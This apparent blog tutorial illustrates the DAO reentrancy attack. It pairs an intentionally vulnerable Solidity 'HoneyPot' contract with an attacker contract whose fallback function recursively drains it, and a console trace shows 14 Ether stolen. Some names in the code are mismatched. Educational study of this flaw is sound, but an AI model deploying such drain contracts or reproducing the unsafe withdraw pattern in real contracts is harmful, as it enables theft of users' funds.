# DAO Smart Contract Attack

By Sebastian L.K. Ma

Below illustrates an DAO attack on a Smart Contract’s re-entrancy weakness.

Does anyone remember the SQL Injection attack ?



## Victim deploys smart contract on Ethereum public blockchain

This Smart Contract is for his customers to deposit or withdraw fixed amount of Ethers using the deposit() or withdraw() functions respectively. A DApp would be created for this purpose.

|  |
| --- |
| contract HoneyPot {  mapping (address => uint) public balances;    function HoneyPot () public payable {  deposit();  resetWithdrawCount();  }  /// Stores sender's value to balances  function deposit() public payable {  balances[msg.sender] = msg.value;  }  /// This function has a serious re-retrant bug  function withdraw() public {  if (!msg.sender.call.value(balances[msg.sender])()) {  revert();  }  balances[msg.sender] = 0;  }  } |

## Attacker scans the Ethereum public blockchain

Found HoneyPot contract and writes a HoneyBee contract attack and steal HoneyPot’s Ethers.

|  |
| --- |
| contract HoneyBee {  ReenHoneyPotrant public victim; // the contract instance I want to attack  /// Constructor  function HoneyBee (address \_address) public {  victim = HoneyPot(\_address);  }  /// Destroy this contract instance  function kill() public {  selfdestruct(msg.sender); // Caller will get back all the balance from this contract instance  }  /// Attacker just provide a small amount to this function  /// The victim's balance will drained recursively  function attack() public payable {  victim.deposit.value(msg.value)(); // sender/attacker can deposit a small amount  victim.withdraw(); // victim's withdraw function is not re-entrant safe  // below fallback will be invoked  }  function () public payable {  // This fallback will be recursively called by invoking the victim's withdraw() function  // To prevent infinite recursive stack-overflow or out of gas,  // my stop condition is when victim's balance is less than my attacking amount.  if (victim.balance >= msg.value) {  victim.withdraw();  }  }  } |

## Trace of Attack

|  |  |
| --- | --- |
| TRACE- Reentrant and ReentrantAttacker  var honey; HoneyPot.deployed().then(function(deployed){honey=deployed;});  tReentrantAttackerFailed.deployed().then(instance => evilContract = instance.address)  '0x75c35c980c0d37ef46df04d31a140b65503c0eed'  truffle(develop)> web3.eth.getBalance('0x75c35c980c0d37ef46df04d31a140b65503c0eed').toString(10)  '0'  // assign the attacker  var noMoneyNoHoney; ReentrantAttackerFailed.deployed().then(function(deployed){ noMoneyNoHoney =deployed;});  A customer deposit has 15 Ethers into HoneyPot  honey.deposit({from: web3.eth.accounts[1], value: web3.toWei(15, "ether") }))  Check HoneyPot balance  web3.eth.getBalance('0x9fbda871d559710256a2502a2517b794b482db40').toString(10)  '15000000000000000000'  Check Attacker balance  web3.eth.getBalance('0x30753e4a8aad7f8597332e813735def5dd395028').toString(10)  '0'  Attacker attacks with 2 Ethers  noMoneyNoHoney.attack({ value: web3.toWei(2, "ether") })   |  | | --- | | ReentrantAttacker Reentrant 15 Ethers  -2 deposit() +2 17  +2 withdraw() -2 15  fallback() 15>=2 +2 withdraw() -2 13  fallback() 13>=2 +2 withdraw() -2 11  fallback() 11>=2 +2 withdraw() -2 9  fallback() 9>=2 +2 withdraw() -2 7  fallback() 7>=2 +2 withdraw() -2 5  fallback() 5>=2 +2 withdraw() -2 3  fallback() 3>=2 +2 withdraw() -2 1  fallback() 1 ! (>=2) |   Attacker has stolen 14 Ethers  web3.eth.getBalance('0x30753e4a8aad7f8597332e813735def5dd395028').toString(10)  '16000000000000000000'  truffle(develop)>  Victim HoneyPot left with 1 Ethers  web3.eth.getBalance('0x9fbda871d559710256a2502a2517b794b482db40').toString(10)  '1000000000000000000' |

## All that glitters are not Gold

<https://blog.slock.it/siemens-ddo-the-first-fortune-500-company-using-the-dao-framework-2fd970b0b138>

<https://youtu.be/EJrPW3254wg>

<https://blog.ethereum.org/2016/06/17/critical-update-re-dao-vulnerability/>

<https://etherscan.io/address/0xbb9bc244d798123fde783fcc1c72d3bb8c189413>

## References

<https://ethereum.stackexchange.com/questions/6707/whats-the-difference-between-call-value-and-call-value>

<http://www.blunderingcode.com/writing-secure-solidity/>

<https://ethereum.stackexchange.com/questions/7069/whats-the-point-of-sending-a-value-in-a-contract-deployment-transaction>

<https://ethereum.stackexchange.com/questions/26838/how-to-get-the-creator-of-a-contract-was-the-owner>

<https://ethereum.stackexchange.com/questions/11484/how-can-contract-ownership-be-transferred-from-one-account-to-another>

<https://ethereum.stackexchange.com/questions/1020/exception-in-contract-reverts-entire-stack-uses-all-gas>

<https://ethereum.stackexchange.com/questions/16200/fallback-function-is-not-getting-called>